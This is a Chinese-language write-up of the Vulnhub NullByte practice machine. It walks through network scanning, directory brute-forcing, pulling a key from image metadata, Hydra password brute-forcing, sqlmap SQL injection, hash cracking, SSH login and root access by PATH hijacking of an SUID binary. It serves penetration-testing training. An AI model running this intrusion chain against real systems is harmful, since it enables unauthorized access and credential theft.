靶机渗透实战基础-Vulnhub-NullByte
靶机渗透实战基础-Vulnhub-NullByte
主机发现&端口扫描
emm…没给IP,得自己扫:
1 | sudo arp-scan -l |
或另一种方法:
1 | nmap -sn 192.168.2.0/24 |
再或另一种方法:
1 | sudo netdiscover -i wlan0 -r 192.168.2.0/24 |
发现NullByte主机IP为192.168.2.183。
分别探测该主机TCP和UDP端口服务:
1 | nmap --min-rate 10000 -sT -p- 192.168.2.183 |
结果分别如下:
1 | PORT STATE SERVICE |
分别对每个端口进行详细探测,包括版本、操作系统、默认脚本探测等:
1 | sudo nmap -sT -sC -sV -O -p 80,111,777,42049 192.168.2.183 |
扫描结果:
1 | PORT STATE SERVICE VERSION |
80有Apache;111为rpc端口,有rpcbind漏洞;777为SSH;42049也为rpc端口。
漏洞发现
80端口
访问,只有一张图片和一句话“If you search for the laws of harmony, you will find knowledge.”,源码也没有可用信息。
爆目录,将请求为200、301、302、403、401的文件写入result.txt:
1 | feroxbuster -u http://192.168.2.183/ -s 200,301,302,403,401 -o result.txt |
用以下命令查看200、301的结果:
1 | cat result.txt | awk {'print $1,$6'} | grep 200 |
(Rust写的feroxbuster就是6,把电脑给我干红温了…
结果发现可能有phpmyadmin后台,摸一下,初始密码登不上。
隐写
把主页图片下载下来看元数据:
1 | wget http://192.168.2.183:80/main.gif |
找到注释:kzMb5nVYJw,不知道干啥的,不是phpmyadmin,也不是ssh。
正解
想不到,访问:http://192.168.2.183/kzMb5nVYJw/
然后Burpsuite抓包,保存请求包到文件123.txt,直接喂给sqlmap:
1 | sqlmap -r 123.txt --random-agent --level 3 |
没找到合适注入点。
利用Hydra爆,指定为POST方法,用户名随便指定:
1 | hydra 192.168.2.183 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l admin -P /usr/share/wordlists/rockyou.txt |
爆出来密码elite。登录后要求输入用户名,盲猜root,提示Fetched data successfully,可能存在SQL注入。GET传参,直接把URL喂给sqlmap:
1 | sqlmap -u http://192.168.2.183/kzMb5nVYJw/420search.php?usrtosearch=root |
发现usrtosearch注入点,找flag:
1 | sqlmap -u http://192.168.2.183/kzMb5nVYJw/420search.php?usrtosearch=root --dbs |
得到密码:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
用basecrack解码为:c6d6bd7ebf806f43c76acc3681703b81
来这里解密:http://somd5.com/,解密后为omega。
看到该条数据的user列为ramses,尝试ssh连接:
1 | ssh ramses@192.168.2.183 -p 777 |
成功连接!
提权
找带有SUID位的文件:
1 | find / -perm -u=s -type f 2>/dev/null |
尝试利用/var/www/backup/procwatch提权,procwatch会执行ps命令来查看进程,于是在相同目录下建立/bin/sh的软连接,并将该目录添加到环境变量最前面即可。
1 | cd /var/www/backup |
进入root,可在/root/proof.txt找到ssh密钥。